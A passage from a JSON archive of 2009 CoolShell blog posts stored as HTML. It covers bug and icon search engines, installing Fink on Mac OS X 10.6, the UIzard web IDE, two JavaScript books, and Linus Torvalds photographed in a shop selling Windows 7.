壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2987.html\"><img alt=\"用脚本实现哄宝宝睡觉(Demo)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1824.html\"><img alt=\"C语言和sh脚本的杂交代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1539.html\"><img alt=\"用脚本实现哄小孩睡觉\" height=\"150\" src=\"../wp-content/uploads/2009/10/baby_linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1574.html\">bash 函数级重定向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-15 Bug 和 Icon 搜索引擎.html",
    "content": "<html><body><p>以前给大家推荐过一个《<a href=\"https://coolshell.cn/articles/424.html\" rel=\"bookmark\">PDF电子书搜索引擎</a>》，现在再来推荐两个：</p>\n<p>一个是开源项目的bug搜索引擎（当你想要选用某个开源软件的时候，或是你发现有一些异常的时候，你可以先去看看是否有一些相关的BUG）</p>\n<p style=\"text-align: center;\"><a href=\"http://bugspy.net/\" target=\"_blank\"><strong>http://bugspy.net/</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"http://bugspy.net/\" target=\"_blank\"><img alt=\"bugSpy.net\" src=\"http://bugspy.net/site_media/images/logo.png\"/></a></p>\n<p> </p>\n<p>还有一个是图标的搜索引擎（那些ICON还是比较精美的，可以用来做UI的开发）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.iconfinder.net/\" target=\"_blank\"><br/>\n<strong>http://www.iconfinder.net/<br/>\n</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.iconfinder.net/\" target=\"_blank\"><br/>\n<img alt=\"Iconfinder provides high quality icons for webdesigners and developers in an easy and efficient way\" height=\"153\" src=\"../wp-content/uploads/2009/10/iconfinder.png\" width=\"376\"/></a></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11112.html\"><img alt=\"由苹果的低级Bug想到的\" height=\"150\" src=\"../wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3.html\"><img alt=\"50套Web开发图标\" height=\"150\" src=\"../wp-content/uploads/2009/03/webicon3-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3.html\">50套Web开发图标</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/830.html\"><img alt=\"语言的歧义\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1582.html\">Bug 和 Icon 搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-15 一张关于操作系统的图.html",
    "content": "<html><body><p>一图胜千言<img alt=\"operating-systems\" class=\"aligncenter size-full wp-image-1580\" height=\"445\" src=\"../wp-content/uploads/2009/10/operating-systems.jpg\" title=\"operating-systems\" width=\"504\"/><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1998.html\"><img alt=\"粉丝眼中的操作系统\" height=\"150\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1272.html\"><img alt=\"操作系统航空公司\" height=\"150\" src=\"../wp-content/uploads/2009/08/linux_airline-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1579.html\">一张关于操作系统的图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-19 [推荐]基于Mac的Port工具Fink.html",
    "content": "<html><body><p>看到标题，读者朋友们肯定第一时间想到的MacPort 。</p>\n<p>恩，那是一款非常棒的工具。 不过我更愿意推荐各位使用另外一款工具 Fink(http://www.finkproject.org/).</p>\n<blockquote><p>Fink 项目希望把 Unix 上各种<a href=\"http://www.opensource.org/\">开放源码</a>软件带到 <a href=\"http://www.opensource.apple.com/\">Darwin</a> 和 <a href=\"http://www.apple.com/macosx/\">Mac OS X</a> 平台上。 我们通过修改 Unix 软件使得它可以在 Mac OS X 上编译和运行（“移植”）,并提供一个方便的分发系统使得每个人都可以下载和使用它。 Fink 使用 <a href=\"http://www.debian.org/\">Debian</a> 中的象 dpkg 和 apt-get 等工具来提供强大的二进制软件包管理。 你可以随意选择是下载预编译好的二进制安装包或从源代码自己构建一切。</p></blockquote>\n<p>关于 Fink的安装 ，大部分用户可参见http://www.finkproject.org/download/index.php?phpLang=zh。<br/>\n不过后面我主要想介绍我的安装方式，因为我的Mac 版本是10.6 64bit.所以还是有些差别。也许上述普通方法有效，但是我并未尝试。</p>\n<p>安装步骤如下（感谢 <a href=\"http://sage.ucsc.edu/~wgscott/xtal/wiki/index.php/64-bit_Fink_for_10.6\">http://sage.ucsc.edu/~wgscott/xtal/wiki/index.php/64-bit_Fink_for_10.6</a>）</p>\n<p><span id=\"more-1592\"></span></p>\n<pre class=\"EnlighterJSRAW\">\ncvs -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink login\n #just hit return when prompted for password\ncvs -z3 -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink co -P fink\ncd fink\n./bootstrap /sw\n</pre>\n<p>以上最后一步可能会花80%的时间，因为它会执行下载及编译这些很核心的工作。</p>\n<p>完成之后编辑 <span style=\"font-family: monospace, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; font-size: 17px; color: #99cc00;\">/<span style=\"color: #fffbc6;\"><span style=\"color: #99cc00;\">sw/etc/fink.conf </span><span style=\"color: #000000; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; font-size: 13px;\">第4行为：</span></span></span></p>\n<p><span style=\"color: #ff6600; font-size: large;\"><span style=\"line-height: 24px;\"><span style=\"font-size: 12px;\"><strong><span style=\"color: #3366ff;\">Trees: local/main stable/main stable/crypto unstable/main unstable/crypto</span></strong></span></span></span></p>\n<p>接下来就可以使用fink了。 fink的启动 我加了如下代码</p>\n<pre class=\"EnlighterJSRAW\">source /sw/bin/init.sh\nfink selfupdate-cvs\nfink -y update-all\nfink scanpackages\n</pre>\n<p>我建议 再执行一条</p>\n<p><code class=\"EnlighterJSRAW\">echo \"source /sw/bin/init.sh\"  &gt;&gt; ~/.bash_profile</code></p>\n<p>这样新开终端进程的时候 就不用重新初始化fint了,完成以上步骤，就能使用fink了。</p>\n<p>我之所以抛弃了macport 是因为他目前出现的和新版10.6的冲突问题，导致系统gcc库环境出现错误，而macport又与系统架构上不兼容 ，导致Port不能用 gcc 也不能用，而我又准备拿光盘重装developer环境的时候，光驱坏了 DVD盘一律不能读 :shame goodness…!<br/>\nfink的出现完全让我避开了以上问题，或许上述问题的出现有我个人原因。 但是fink有很重要的一点，就是它的源很快。他会自动推荐最适合我们的镜像。如果我们要随时更换fink的配置， 可以执行 <span style=\"color: #3366ff;\">fink configure.</span></p>\n<p>我相信读到这里，会有不少习惯Port的朋友使用 Fink， Just do it, Fink和MacPort 同时存在并不是什么坏事，虽然我已经把MacPort彻底删了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2719.html\"><img alt=\"苹果开发工具Xcode 4 第二预览版\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1272.html\"><img alt=\"操作系统航空公司\" height=\"150\" src=\"../wp-content/uploads/2009/08/linux_airline-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/559.html\"><img alt=\"菜鸟学PHP之Smarty入门\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3433.html\"><img alt=\"6个有用的MySQL语句\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3254.html\"><img alt=\"一个人脸识别的Javascript\" height=\"150\" src=\"../wp-content/uploads/2010/11/jpDEK-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3254.html\">一个人脸识别的Javascript</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4261.html\"><img alt=\"JavaMail使用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4261.html\">JavaMail使用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1592.html\">[推荐]基于Mac的Port工具Fink</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-22 Ajax开发利器UIzard.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2.jpg\"></a>正如UIzard这个名字所暗示的，这是一个User Interface 的Wizard，从字面上理解，这是一个做界面的向导。这有什么奇怪的，Dreamwave之流已经是相当的成熟了，还能好得过它？是的，这个开源的项目，也许并没有那些商业软件那么成熟，不过，我想告诉你的是，这个开源软件绝对是值得我们重点关注的一个软件。</p>\n<p>你可以理解为这是一个Web开发的IDE，不过其集成了Ajax方面的东西。这并不仅仅简单的是那种“所见即所得”的编辑器。而且，它也不信仅可以让那些非程序员非常简单地创建一个从前端到后端的Web应用，而且，他还可以让你连接数据库，创建非常复杂的布局和时间线，甚至于一些套件（白板，在线的类Word，Excel，PPT等功能），所有这些，你只需要简单的点几下按钮就可以了。真是相当的强大。（下面是个抓图）</p>\n<p style=\"text-align: center;\"><img alt=\"UIzard\" height=\"344\" src=\"../wp-content/uploads/2009/10/uizard2.jpg\" title=\"UIzard\" width=\"500\"/></p>\n<p><span id=\"more-1611\"></span></p>\n<p>看上去很不错吧，上面的的屏幕抓图展示了，你可以非常简单地嵌入一些Google的API。而且，你还可以设置RSS相关的功能，是的，源代码是很复杂的，但是有了这个工具，你所需要的就是用鼠标点来点去。</p>\n<p>最NB的是，你不需要在你的硬盘上安装这个工具，你完全是一个基于Web的在线IDE，真是太强大了，这是我最最欣赏的地方，真是令人难以置信。</p>\n<p>最后需要说的，这个工具的作者是一个韩国人，叫 Ryu Sungtae（韩国人的软件MS越来越猛了，比如那个著名的Kmplayer也是韩国人做的）， UIzard 由 Yahoo’ User Interface Library (YUI) 构造，这是一个基于Javascript 的用于创建各种交互式应用的程序库。虽然，目前的UIzard 只是Beta版，版本号还很新，0.9版，不过，这个项目的潜力是相当的大，值我们关注。</p>\n<p>其官方站点是：<a href=\"http://www.uizard.org/\" target=\"_blank\">http://www.uizard.org/</a> </p>\n<p>如果你想体验一下，那么，请你猛击下面的链接吧：（使用Fixfox效果更好）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.uizard.org/UIzard/uizard.php\" target=\"_blank\">http://www.uizard.org/UIzard/uizard.php</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard1.jpg\"><img alt=\"UIzard创建工程\" class=\"aligncenter size-full wp-image-1614\" height=\"310\" src=\"../wp-content/uploads/2009/10/uizard1.jpg\" title=\"UIzard创建工程\" width=\"500\"/></a></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/154.html\"><img alt=\"10个基于Ajax的PHP Webmail客户端\" height=\"150\" src=\"../wp-content/uploads/2009/03/webmail1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/154.html\">10个基于Ajax的PHP Webmail客户端</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-22 Javascript的两本书.html",
    "content": "<html><body><p>Definition Guide 和 The Good Part， 犀牛和蝴蝶，一厚一薄，事情不言而喻。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/javascript.jpg\"><img alt=\"O'Reilly Javascript 的两本书\" class=\"aligncenter size-full wp-image-1609\" height=\"600\" src=\"../wp-content/uploads/2009/10/javascript.jpg\" title=\"O'Reilly Javascript 的两本书\" width=\"800\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1608.html\">Javascript的两本书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-23 Windows 7 的新粉丝 Linus Torvalds.html",
    "content": "<html><body><p>正当Windows 7 开始热卖的时候，正当广大北美用户抱怨Windows 7的销售价格，在东方要比西方便宜很多的时候。我们著名的Linus Torvalds来到了日本东京的一个软件商店里“庆祝Windows 7的Release”，难道他是去那里买一份便宜的Windows 7？</p>\n<p style=\"text-align: center;\"><a href=\"http://www.flickr.com/photos/offthebroiler/4036243510/sizes/o/\" target=\"_blank\"><img alt=\"Linus Torvalds 在一个日本的软件商店\" src=\"../wp-content/uploads/2009/10/Linus_windows_7.jpg\" width=\"475\"/></a></p>\n<p style=\"text-align: center;\"><em>Linus Torvalds, 图片来自一个未经确认的 Yodobashi 商店， Tokyo, Japan. 来源: Jim Zemlin/The Linux Foundation (<strong>点击看大图</strong>)</em></p>\n<p>这个图片目前还没有新闻报道，不过已有很多来源可以参考了……</p>\n<p><span id=\"more-1619\"></span></p>\n<p>Linus在日本参加一个<a href=\"http://events.linuxfoundation.org/events/japan-linux-symposium\"><strong>Japan Linux Symposium</strong></a>的座谈会，在一个Picaca的<a href=\"http://picasaweb.google.com/cschlaeger/JapanLinuxSymposium#5395400000458161906\" target=\"_blank\">链接</a>上说，Microsoft选择了和Japan Linux Symposium同一天，在座谈会的间隙，Linus和其同事想做点有趣的事情，于是他们来到了Windows 7的小商店里，当然，售货员同志并不知道这人是谁，而Linus一进店里马上就做了一个下蹲坚大拇指的手势，而他的同事很识相地马上就照了一张照片。呵呵，当然，他们什么也没有买。</p>\n<p>而在一个据说是照片作者的 <a href=\"http://blogs.zdnet.com/perlow/?p=11403\" target=\"_blank\">BLOG</a> 上，博主也证实了相关的说法，说，这是Linus的一种幽默的态度，还说，Linus应该做一个V字型的手势而不是大拇指，这主要是Linus对东方文不了解。呵呵。</p>\n<p>呵呵，很有意思吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/16910.html\"><img alt=\"Linus：为何对象引用计数必须是原子的\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 